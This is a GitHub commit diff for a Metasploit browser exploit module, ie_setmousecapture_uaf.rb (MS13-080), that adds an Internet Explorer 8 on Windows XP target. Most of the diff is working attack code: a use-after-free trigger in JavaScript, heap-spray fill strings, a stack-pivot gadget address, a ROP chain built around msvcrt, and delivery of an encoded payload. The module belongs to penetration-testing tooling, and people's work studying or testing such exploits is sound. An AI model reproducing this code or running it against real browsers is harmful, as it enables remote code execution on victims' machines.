Skip to content

Commit 8bf50bb

Browse files
committed
Land rapid7#4213 - IE8 support for MS13-080
2 parents fee712b + 2fcbcc0 commit 8bf50bb

File tree

1 file changed

+96
-10
lines changed

1 file changed

+96
-10
lines changed

modules/exploits/windows/browser/ie_setmousecapture_uaf.rb

Lines changed: 96 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,9 @@ def initialize(info={})
3838
'License' => MSF_LICENSE,
3939
'Author' =>
4040
[
41-
'Unknown', # Exploit in the wild first spotted in Japan
42-
'sinn3r' # Metasploit (thx binjo for the heads up!)
41+
'Unknown', # Exploit in the wild first spotted in Japan
42+
'sinn3r', # Metasploit (thx binjo for the heads up!)
43+
'Rich Lundeen' # IE8 windows xp
4344
],
4445
'References' =>
4546
[
@@ -53,15 +54,27 @@ def initialize(info={})
5354
'Platform' => 'win',
5455
'BrowserRequirements' =>
5556
{
56-
:source => /script/i,
57-
:os_name => 'Windows 7',
58-
:ua_name => HttpClients::IE,
59-
:ua_ver => "9.0",
60-
:office => /2007|2010/
57+
:ua_name => HttpClients::IE,
58+
:source => /script/i
6159
},
6260
'Targets' =>
6361
[
64-
[ 'Automatic', {} ]
62+
[ 'Automatic', {} ],
63+
[
64+
'Windows 7 with Office 2007|2010',
65+
{
66+
:os_name => 'Windows 7',
67+
:ua_ver => "9.0",
68+
:office => /2007|2010/
69+
}
70+
],
71+
[
72+
'Windows XP with IE 8',
73+
{
74+
:os_name => 'Windows XP',
75+
:ua_ver => "8.0"
76+
}
77+
]
6578
],
6679
'Payload' =>
6780
{
@@ -115,7 +128,7 @@ def get_payload(target_info)
115128
p
116129
end
117130

118-
def get_exploit_html(cli, target_info)
131+
def get_exploit_html_ie9(cli, target_info)
119132
gadgets = {}
120133
case target_info[:office]
121134
when '2007'
@@ -237,9 +250,75 @@ def get_exploit_html(cli, target_info)
237250
|
238251
end
239252

253+
def get_exploit_html_ie8(cli, target_info)
254+
code = payload.encoded
255+
256+
#address containing our heap spray is 0x20302020
257+
spray_addr = "\\u2024\\u2030"
258+
259+
#size to fill after free is 0x50
260+
free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2)
261+
262+
rop = [
263+
0x77c3868a, # stack pivot in msvcrt || xchg eax, esp ; rcr dword [ebx-0x75], 0xFFFFFFC1 ; pop ebp ; ret ;
264+
0x20302020 # pointer to stack pivot
265+
].pack("V*")
266+
267+
rop << generate_rop_payload('msvcrt', code, { 'target'=>'WINDOWS XP SP3' }) << code
268+
269+
js_rop = Rex::Text.to_unescape(rop)
270+
271+
%Q|
272+
<html>
273+
<script>
274+
275+
#{js_property_spray}
276+
277+
tt = new Array(30);
278+
279+
function trigger()
280+
{
281+
var id_0 = document.createElement("sup");
282+
var id_1 = document.createElement("audio");
283+
284+
document.body.appendChild(id_0);
285+
document.body.appendChild(id_1);
286+
id_1.applyElement(id_0);
287+
288+
id_0.onlosecapture=function(e) {
289+
document.write("");
290+
291+
for(i = 0; i < tt.length; i++) {
292+
tt[i] = document.createElement('div');
293+
tt[i].className ="#{free_fill}";
294+
}
295+
296+
var s = unescape("#{js_rop}");
297+
sprayHeap({shellcode:s});
298+
}
299+
300+
id_0['outerText']="";
301+
id_0.setCapture();
302+
id_1.setCapture();
303+
}
304+
305+
window.onload = function() {
306+
trigger();
307+
}
308+
</script>
309+
|
310+
311+
end
312+
240313
def on_request_exploit(cli, request, target_info)
241-
html = get_exploit_html(cli, target_info)
314+
case target_info[:ua_ver]
315+
when "8.0"
316+
html = get_exploit_html_ie8(cli, target_info)
317+
when "9.0"
318+
html = get_exploit_html_ie9(cli, target_info)
319+
end
242320
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
321+
243322
end
244323

245324
end
@@ -257,6 +336,13 @@ def on_request_exploit(cli, request, target_info)
257336
FileVersion: 2.05.50727.4039 (QFE.050727-4000)
258337
259338
mshtml.dll
339+
340+
WinXP IE8 DLL info:
341+
ProductVersion: 8.0.6001.18702
342+
FileVersion: 8.0.6001.18702
343+
FileDescription: Microsoft (R) HTML Viewer
344+
345+
Win7 IE9 DLL info:
260346
ProductVersion: 9.00.8112.16446
261347
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
262348
FileDescription: Microsoft (R) HTML Viewer

0 commit comments

Comments
 (0)